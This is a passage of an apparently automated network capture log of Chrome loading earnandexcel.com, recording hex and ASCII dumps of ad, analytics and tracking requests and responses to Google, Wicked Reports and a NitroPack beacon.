7f b2 d9 24 66 c7 99 71 1d 26 24 a2 de ce ab 30 5d 68 8b a8 cd d5 55 fd 18 d7 55 50 01 be 49 2e 4a bd b4 a2 5c 5a c9 36 84 9e 52 Data Ascii: Tk7N0".SBVQGmzx)1ayX^,r5PS*9\|<oAPS'Ltq{Wc2iZF-8oe?)MK-/6ML0(\|Q;p.$fq&$0]hUUPI.J\Z6R
2024-04-11 21:26:51 UTC	1378	IN	Data Raw: 6f 83 6d fd 39 48 9f 7a 05 ae 32 87 ae b6 28 0e 6b ca 20 6c 5c 1b 36 74 11 d1 6b ad a0 2d 91 c9 30 be b9 59 df db ea 49 33 b0 84 08 e7 0e 34 e2 2e 5a 4c c9 6d 6b 58 b3 f3 72 19 20 dd b9 77 0e 8c 59 89 ff ed f6 eb 50 79 02 ba 72 bf 0e 3f af d3 bb f2 d6 34 04 0e 26 95 80 0f 02 22 88 3a 7d 2d b7 d0 36 84 3b 5b 78 f3 c3 c7 cf bf 9e fe f8 e5 e2 97 93 ff b9 78 ff c7 97 d3 cf f4 d0 6b 77 9d b4 f2 1c a2 35 c7 d7 da 6a 56 22 44 76 2f d5 6b 2f 53 ee 57 e0 84 91 23 7c a8 2e 5b 7d ac bb 4c d3 96 3a c7 38 d8 6e dd 71 20 63 2c e8 61 93 56 8f 2f 86 79 71 29 73 59 fd be 8a c7 f4 bd ed bb 3e 31 b6 d6 db 79 5c 6e 99 d4 00 07 fe 76 0b 11 e1 d7 e1 d7 5f e2 bf 54 17 4c 5c 00 cb 6e d2 74 fd 39 f9 17 a3 c7 20 e0 70 bf 6a dd fe b4 27 41 5d b1 75 55 48 b4 5f 01 d4 e9 79 69 84 54 Data Ascii: om9Hz2(k l\6tk-0YI34.ZLmkXr wYPyr?4&":}-6;[xxkw5jV"Dv/k/SW#\|.[}L:8nq c,aV/yq)sY>1y\nv_TL\nt9 pj'A]uUH_yiT
2024-04-11 21:26:51 UTC	1378	IN	Data Raw: b3 95 73 7b 4e ef b6 55 cb e3 b5 c3 45 59 f4 fc 68 7f 01 7d b0 0b c9 27 5d 07 1e c0 44 0b 77 e1 c6 cd ba 62 f9 ea 7d e3 c8 dc 93 15 f2 96 ee 3b b5 3a 35 38 26 ec 61 27 85 90 b0 64 2d 57 37 7d 59 d1 4d 57 06 1b 23 1b d5 b1 fc f9 d5 31 86 c2 87 45 f1 dd 02 01 4a 9e b7 dd 8d 7b fe eb f3 a7 8f 74 2f 3d f3 20 4f 7c e9 93 4c 2e 1e 54 0a 77 6b 27 d2 88 97 45 13 54 9c 8b 38 cb d4 11 47 17 b4 72 3b 55 a5 d1 b1 f7 76 52 9f 0e bd 34 4e 49 8a 1f c0 10 83 f6 75 1e b8 b1 94 09 51 76 43 f4 8a 84 0b e5 df 92 48 38 5d 27 43 bf 64 f7 78 5e 08 4f a0 cc e7 2c cf c1 97 df a7 7c a1 15 54 1f 12 ad f3 cf 57 75 b4 00 ab f7 cc 78 e1 95 a5 e8 b5 9e 26 7a df 3c 81 f6 aa f4 c9 f2 84 41 da 75 b6 68 f7 30 e4 ee c9 40 45 25 71 58 15 28 74 1e 8d 05 bf d3 33 43 03 73 b6 a7 b5 2f 01 ab 27 Data Ascii: s{NUEYh}']Dwb};:58&a'd-W7}YMW#1EJ{t/= O\|L.Twk'ET8Gr;UvR4NIuQvCH8]'Cdx^O,\|TWux&z<Auh0@E%qX(t3Cs/'
2024-04-11 21:26:51 UTC	1378	IN	Data Raw: 70 51 d8 5e 95 37 23 36 48 66 f5 ad 83 fc 1b 24 66 01 1f ab ff f8 47 56 22 56 9e 13 4b 07 98 f7 a3 d9 14 dc 19 c1 13 e0 bc cc 83 66 4e 72 5e 55 8b d3 c8 67 23 79 22 b1 eb ab 64 75 5c 4c 67 df db c8 b4 7e 67 93 33 a1 3f af 91 d3 ab b2 bb 89 9b 38 29 c8 49 fd 77 0f 9a b2 87 07 3d db 65 6f ff 73 f5 f2 8f 3d b4 ff 4d 0c fc 44 8b 63 75 bb 59 ef 26 ff c7 de b5 76 b5 8d 34 e9 bf 92 f8 24 bc d2 48 36 6a dd 05 68 78 89 b9 84 84 db 1a 48 66 42 08 47 31 02 94 80 e4 d8 32 84 c1 fe ef fb 54 77 cb 6a 5f 98 cb 87 dd 73 f6 3d fb 21 41 ea 6b 75 75 75 d5 d3 ea ae f2 ca fc ad 53 3e 0b d9 4c 39 93 29 f2 28 6e 75 a8 fe 10 96 ae af 01 20 70 0d d6 af 2e 80 08 e7 9d 39 57 df 74 f1 61 de 24 40 c7 82 d8 1b 8b 86 84 a6 5f 4e b9 f0 a7 cf dc 6d 59 7c 4a c8 9d 66 e6 9c b3 f8 a7 7d ee Data Ascii: pQ^7#6Hf$fGV"VKfNr^Ug#y"du\Lg~g3?8)Iw=eos=MDcuY&v4$H6jhxHfBG12Twj_s=!AkuuuS>L9)(nu p.9Wta$@_NmY\|Jf}
2024-04-11 21:26:51 UTC	1378	IN	Data Raw: b6 be 72 9a 8d 76 f5 bc c4 53 38 62 fe c8 b1 75 3c b6 6f 93 bb 5e 7a a9 8b 16 5e 2d b7 4a 2c 76 ba 47 2b 07 24 10 f6 1c 5f d4 35 b1 e0 26 68 52 df 75 bd 4c 05 dd c3 7e fa 22 2f f2 26 97 20 18 98 c9 1d b7 d6 e7 7c 17 bc ef 5f 52 88 a7 82 af 26 59 c4 e4 15 44 84 46 11 89 4c fa b0 dd 24 f7 b4 c5 99 13 52 4d 7f 71 97 96 37 c5 25 45 2c d3 66 a3 0c ea 4f d2 d5 2e e7 17 76 2b 7b 3e fd 71 41 d1 de 96 29 ac 53 15 ea 91 87 d3 ca a0 69 d3 b3 4c c4 01 a9 af bb 08 f8 f0 34 5e ed b7 f6 76 8f 4f e2 a7 ed a3 8b bd c3 f6 c6 de c5 f1 c9 61 67 63 67 6b e5 09 e0 1b a3 5d 61 96 65 0e fb d9 4a e3 aa 77 41 61 ae 6e 8f 41 79 72 9d 36 c6 e6 e6 56 67 f7 03 b6 ce 5b 47 bb ef e7 cb f7 b2 bc 09 1e 65 f7 e9 65 33 ed 65 df 51 e1 b8 dd d9 38 da ba a0 1e b7 0e b6 3a c7 8b 2b 0d ba fd a4 Data Ascii: rvS8bu<o^z^-J,vG+$_5&hRuL~"/& \|_R&YDFL$RMq7%E,fO.v+{>qA)SiL4^vOagcgk]aeJwAanAyr6Vg[Gee3eQ8:+
2024-04-11 21:26:51 UTC	1378	IN	Data Raw: dc 0a c7 71 68 a4 71 e0 73 71 d4 d9 da de fd cd 68 6c fd 24 6f 7c 20 b9 7f bd 1e fc 4b ae dc e4 c5 eb 81 f9 e2 eb b0 7c 71 45 27 c8 3c ab c1 63 aa e5 bc 6f 60 1a 21 5e b3 e1 04 e6 e3 14 ff 79 fc b9 ac 12 86 34 2e 5a 27 1a 2d 46 7d 35 af a2 bb 55 33 9a 4f 34 3b 95 e1 14 9c 2c 14 ff 2a 3c 4e 83 6b eb 32 56 c2 c8 ea 8b 39 39 1a 0d 85 aa 24 5b 3b a8 1f af aa c7 f5 72 25 d3 18 74 6c 63 70 93 d8 9e 0f 31 14 5f f4 48 d7 8b 0f 9e 22 f0 00 27 0b 8b ea 2d 78 f3 27 4b b4 a4 df 86 28 5a dc 95 b3 68 1d 90 c1 e7 21 8f a8 f6 b7 c5 15 4a e9 ec ca 3f 3f aa 5e df 5a 63 b9 a1 d3 85 fc aa 81 83 05 0d 10 1b c8 0e 89 90 08 5d 1e 53 6e 32 01 eb 25 d6 db a4 fa f7 45 fd df 54 9c 50 21 5d a1 40 ba 02 82 31 54 3f b5 e7 55 40 87 a1 c6 48 2f 0c 35 ac f0 87 f8 8c 31 e6 3b 9e ed 5a 21 Data Ascii: qhqsqhl$o\| K\|qE'<co`!^y4.Z'-F}5U3O4;,*<Nk2V99$[;r%tlcp1_H"'-x'K(Zh!J??^Zc]Sn2%ETP!]@1T?U@H/51;Z!
2024-04-11 21:26:51 UTC	1378	IN	Data Raw: bc 08 a6 95 46 ad c0 8e d0 43 5b cc 86 42 57 10 08 88 f4 60 3e c1 88 29 30 02 3e 44 28 42 b6 be c6 25 98 d3 08 36 db 21 b2 6a 88 12 f8 7e 40 1c f6 55 b0 02 34 0c cb ed 86 64 35 15 dc 02 ac 00 eb 85 f9 52 21 0c b2 5d 80 01 c0 0c 15 cd d8 ae 4f 18 80 0f a2 06 36 81 17 3a 80 23 a1 8a 71 98 8f 0a 41 e4 f8 0a da 61 0c 33 11 80 18 57 05 3e 1e 84 c5 a5 cb 6a 53 18 c8 03 86 b0 20 99 9e 0a 87 88 ef 21 f5 e1 a8 c8 08 73 80 c6 02 cc 9d 0a 92 60 71 5d 9a 36 12 bd 1a 2f 31 88 47 e0 45 90 2b 15 3a 61 a8 56 80 a9 9b 02 51 a0 c6 0a 7d 18 5b 6b 0a 4f 31 e2 06 4c bb 33 05 ad 3c 48 b4 87 d5 11 a8 28 8b 59 3e ba b6 68 a9 4e e1 2d b2 ea 04 ad 14 e8 c5 5c c7 c6 9a 05 11 2a 0a 63 ae 0f 54 c1 30 67 0a 20 0b 3d ac 9a 08 0c 55 a0 19 56 14 80 02 26 c2 56 50 1a a6 17 24 62 f5 78 0a Data Ascii: FC[BW`>)0>D(B%6!j~@U4d5R!]O6:#qAa3W>jS !s`q]6/1GE+:aVQ}[kO1L3<H(Y>hN-\*cT0g =UV&VP$bx
2024-04-11 21:26:51 UTC	1378	IN	Data Raw: 1b ca e2 72 92 fd bb c8 fe dd 18 56 d9 d0 1f f7 93 ec 1f 22 fb 87 91 54 d9 50 29 0f 93 ec 4f 22 fb 93 31 a8 b2 a1 65 1e 27 d9 1f 45 f6 47 e3 aa ca 86 e2 21 e9 f9 8b fd 7f 2a f7 ff 53 1f e9 ca ca 56 a7 33 fb 6a 92 ed 74 f6 3e 70 06 0d 35 39 41 d2 a4 7e 96 ac a5 5d bb 26 f5 74 c5 cf 70 92 f6 a1 92 05 b1 f1 d7 a4 ea ae 58 c7 77 f6 9a 54 e2 15 c3 1c 7b 92 f8 a3 12 07 40 bb 49 e2 a7 4a 1e 4c b7 ee e8 63 25 10 f4 5d 91 a2 12 fd b3 6f 02 f5 19 38 ff 35 9e 45 f7 06 ba fd c7 5e 59 2c 2d 89 bf 74 9a d1 e1 f7 94 3e d0 51 fe e0 b9 74 f1 8b e5 22 8f ff 3e d4 7c c3 77 83 b6 6c 7a c1 9d 0b 79 42 59 95 99 ef f6 b9 1c d1 71 95 ab af f6 d7 b5 6c ee d7 44 f8 c7 98 39 c7 84 3a bc 1d fd ea 7b 36 e6 f1 5e 55 3c f9 4c ad c9 01 a8 29 02 86 33 7f 35 37 0c dd 8a 63 cd 59 12 01 a5 Data Ascii: rV"TP)O"1e'EG!*SV3jt>p59A~]&tpXwT{@IJLc%]o85E^Y,-t>Qt">\|wlzyBYqlD9:{6^U<L)357cY
2024-04-11 21:26:51 UTC	1378	IN	Data Raw: 53 d1 a5 e0 03 7c ea 87 13 60 3e 8b 14 3c 66 88 9e 2a 89 61 90 25 e1 e7 4a be 3c b1 c8 87 4e 86 78 bd d4 84 8b 6a fe ca c7 15 e5 64 0f 2d 06 50 79 e7 57 02 1c d2 bc dc 7d 76 ed da 39 c8 58 c8 a7 80 df 3a d7 08 3e d0 60 7d 82 25 d0 06 7d e3 3f be fa 7a f3 9b 67 5b d7 db d7 3b 5e fb fa d7 ff 7a 58 2c ff bb b7 f5 9f 5d 7f fb cb 75 70 8d 26 ea d7 6e f1 e2 6c 61 69 80 e0 3b b6 bb e5 ec b0 5b aa 67 77 fb 65 e3 7a 7b eb da be 76 ae 77 7a cf be da 61 77 59 fa f5 76 83 12 3a 59 89 7b f8 92 9d df e4 9a 12 e1 57 00 f8 fb dc bf 9f a5 8b f9 2c 11 fd 79 0a a7 d6 4f 38 e4 9f 63 5b c9 7c b4 8d a8 7b 1b 17 d1 59 d8 f8 7c 0d 20 12 87 4a df 20 63 1f 71 0b f4 07 5d c4 36 37 4d 47 31 40 57 d0 23 20 04 11 48 75 94 73 a3 c3 0e 08 3c be 8e 4e a2 2c 8d 4d 25 c8 3c bf c9 53 2e 29 Data Ascii: S\|`><f*a%J<Nxjd-PyW}v9X:>`}%}?zg[;^zX,]up&nlai;[gwez{vwzawYv:Y{W,yO8c[\|{Y\| J cq]67MG1@W# Hus<N,M%<S.)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.17	49952	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:51 UTC	1156	OUT	GET /pagead/viewthroughconversion/416707819/?random=1712870809382&cv=11&fst=1712870809382&bg=ffffff&guid=ON&async=1&gtm=45be44a0z8835174253za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fearnandexcel.com%2F&hn=www.googleadservices.com&frm=0&tiba=Skills%20For%20Professionals%20-%20Earn%20%26%20Excel&npa=0&pscdl=noapi&auid=67825169.1712870802&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&rfmt=3&fmt=4 HTTP/1.1 Host: googleads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:51 UTC	842	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 11 Apr 2024 21:26:51 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Server: cafe X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Thu, 11-Apr-2024 21:41:51 GMT; path=/; domain=.doubleclick.net; Secure; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-11 21:26:51 UTC	413	IN	Data Raw: 38 62 64 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 73 20 3d 20 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 7d 3b 2f 2a 20 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 20 2a 2f 20 76 61 72 20 66 3d 74 68 69 73 7c 7c 73 65 6c 66 3b 76 61 72 20 67 2c 6b 3b 61 3a 7b 66 6f 72 28 76 61 72 20 6c 3d 5b 22 43 4c 4f 53 55 52 45 5f 46 4c 41 47 53 22 5d 2c 70 3d 66 2c 71 3d 30 3b 71 3c 6c 2e 6c 65 6e 67 74 68 3b 71 2b 2b 29 69 66 28 70 3d 70 5b 6c 5b 71 5d 5d 2c 6e 75 6c 6c 3d 3d 70 29 7b 6b 3d 6e 75 6c 6c 3b 62 72 65 61 6b 20 61 7d 6b 3d 70 7d 76 61 72 20 Data Ascii: 8bd(function(){var s = {};(function(){var e={};/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var f=this\|\|self;var g,k;a:{for(var l=["CLOSURE_FLAGS"],p=f,q=0;q<l.length;q++)if(p=p[l[q]],null==p){k=null;break a}k=p}var
2024-04-11 21:26:51 UTC	1255	IN	Data Raw: 61 2e 69 6e 64 65 78 4f 66 28 64 29 7d 29 3a 21 31 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 78 28 64 29 7b 76 61 72 20 61 3b 61 3a 7b 69 66 28 61 3d 66 2e 6e 61 76 69 67 61 74 6f 72 29 69 66 28 61 3d 61 2e 75 73 65 72 41 67 65 6e 74 29 62 72 65 61 6b 20 61 3b 61 3d 22 22 7d 72 65 74 75 72 6e 2d 31 21 3d 61 2e 69 6e 64 65 78 4f 66 28 64 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 79 28 29 7b 72 65 74 75 72 6e 20 67 3f 21 21 74 26 26 30 3c 74 2e 62 72 61 6e 64 73 2e 6c 65 6e 67 74 68 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 29 7b 72 65 74 75 72 6e 20 79 28 29 3f 77 28 22 43 68 72 6f 6d 69 75 6d 22 29 3a 28 78 28 22 43 68 72 6f 6d 65 22 29 7c 7c 78 28 22 43 72 69 4f 53 22 29 29 26 26 21 28 79 28 29 3f 30 3a 78 28 22 45 64 67 65 22 29 29 7c 7c 78 28 22 53 69 6c 6b Data Ascii: a.indexOf(d)}):!1:!1}function x(d){var a;a:{if(a=f.navigator)if(a=a.userAgent)break a;a=""}return-1!=a.indexOf(d)};function y(){return g?!!t&&0<t.brands.length:!1}function z(){return y()?w("Chromium"):(x("Chrome")\|\|x("CriOS"))&&!(y()?0:x("Edge"))\|\|x("Silk
2024-04-11 21:26:51 UTC	576	IN	Data Raw: 28 74 68 69 73 29 3b 3b 73 2e 73 73 5f 28 77 69 6e 64 6f 77 2c 27 4f 6a 45 33 4d 54 49 34 4e 7a 41 34 4d 44 6b 7a 4f 44 49 27 2c 5b 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 61 67 65 61 64 2f 31 70 2d 75 73 65 72 2d 6c 69 73 74 2f 34 31 36 37 30 37 38 31 39 2f 3f 72 61 6e 64 6f 6d 5c 78 33 64 31 37 31 32 38 37 30 38 30 39 33 38 32 5c 78 32 36 63 76 5c 78 33 64 31 31 5c 78 32 36 66 73 74 5c 78 33 64 31 37 31 32 38 36 39 32 30 30 30 30 30 5c 78 32 36 62 67 5c 78 33 64 66 66 66 66 66 66 5c 78 32 36 67 75 69 64 5c 78 33 64 4f 4e 5c 78 32 36 61 73 79 6e 63 5c 78 33 64 31 5c 78 32 36 67 74 6d 5c 78 33 64 34 35 62 65 34 34 61 30 7a 38 38 33 35 31 37 34 32 35 33 7a 61 32 30 31 5c 78 32 36 67 63 64 5c 78 33 64 31 33 6c 33 6c 33 6c Data Ascii: (this);;s.ss_(window,'OjE3MTI4NzA4MDkzODI',['https://www.google.com/pagead/1p-user-list/416707819/?random\x3d1712870809382\x26cv\x3d11\x26fst\x3d1712869200000\x26bg\x3dffffff\x26guid\x3dON\x26async\x3d1\x26gtm\x3d45be44a0z8835174253za201\x26gcd\x3d13l3l3l
2024-04-11 21:26:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.17	49953	13.226.34.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:51 UTC	533	OUT	GET /widget.js HTTP/1.1 Host: widget.wickedreports.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:51 UTC	533	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 25893 Connection: close Date: Thu, 11 Apr 2024 12:36:02 GMT Last-Modified: Thu, 11 Apr 2024 11:38:41 GMT ETag: "a573e0323f255d4ff82173d608f94309" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 bcc31f3e5b9e78f99a5a01aa529f6c94.cloudfront.net (CloudFront) X-Amz-Cf-Pop: EWR53-C2 X-Amz-Cf-Id: nAPmHkoIjKsrgU01bUFwUuRNbF5baTL0Qbg5v3EQC-WFB-qHt9X2cw== Age: 31850
2024-04-11 21:26:51 UTC	16384	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 74 5b 72 5d 29 72 65 74 75 72 6e 20 74 5b 72 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 69 3d 74 5b 72 5d 3d 7b 69 3a 72 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 72 5d 2e 63 61 6c 6c 28 69 2e 65 78 70 6f 72 74 73 2c 69 2c 69 2e 65 78 70 6f 72 74 73 2c 6e 29 2c 69 2e 6c 3d 21 30 2c 69 2e 65 78 70 6f 72 74 73 7d 6e 2e 6d 3d 65 2c 6e 2e 63 3d 74 2c 6e 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 6e 2e 6f 28 65 2c 74 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 72 7d 29 7d 2c 6e 2e 72 3d 66 75 6e Data Ascii: !function(e){var t={};function n(r){if(t[r])return t[r].exports;var i=t[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,n),i.l=!0,i.exports}n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:r})},n.r=fun
2024-04-11 21:26:51 UTC	9509	IN	Data Raw: 74 69 6f 6e 20 54 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 72 3d 74 5b 6e 5d 3b 72 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 72 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 72 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 72 26 26 28 72 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 72 2e 6b 65 79 2c 72 29 7d 7d 76 61 72 20 43 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 Data Ascii: tion T(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}var C=function(){function e(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.17	49955	142.251.40.100	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:51 UTC	580	OUT	GET /ads/ga-audiences?t=sr&aip=1&_r=4&slf_rd=1&v=1&_v=j101&tid=UA-190016353-1&cid=668614997.1712870801&jid=175606831&_u=YCDACEABBAAAACAAI~&z=669666256 HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:51 UTC	539	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 11 Apr 2024 21:26:51 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:26:51 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.17	49956	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:51 UTC	1357	OUT	POST / HTTP/1.1 Host: earnandexcel.com Connection: keep-alive Content-Length: 718 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBeG9vPaFgABv6AGc Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test
2024-04-11 21:26:51 UTC	718	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 42 65 47 39 76 50 61 46 67 41 42 76 36 41 47 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6e 69 74 72 6f 42 65 61 63 6f 6e 55 72 6c 22 0d 0a 0d 0a 61 48 52 30 63 48 4d 36 4c 79 39 6c 59 58 4a 75 59 57 35 6b 5a 58 68 6a 5a 57 77 75 59 32 39 74 4c 77 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 42 65 47 39 76 50 61 46 67 41 42 76 36 41 47 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6e 69 74 72 6f 42 65 61 63 6f 6e 43 6f 6f 6b 69 65 73 22 0d 0a 0d 0a 57 31 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 Data Ascii: ------WebKitFormBoundaryBeG9vPaFgABv6AGcContent-Disposition: form-data; name="nitroBeaconUrl"aHR0cHM6Ly9lYXJuYW5kZXhjZWwuY29tLw==------WebKitFormBoundaryBeG9vPaFgABv6AGcContent-Disposition: form-data; name="nitroBeaconCookies"W10=------Web
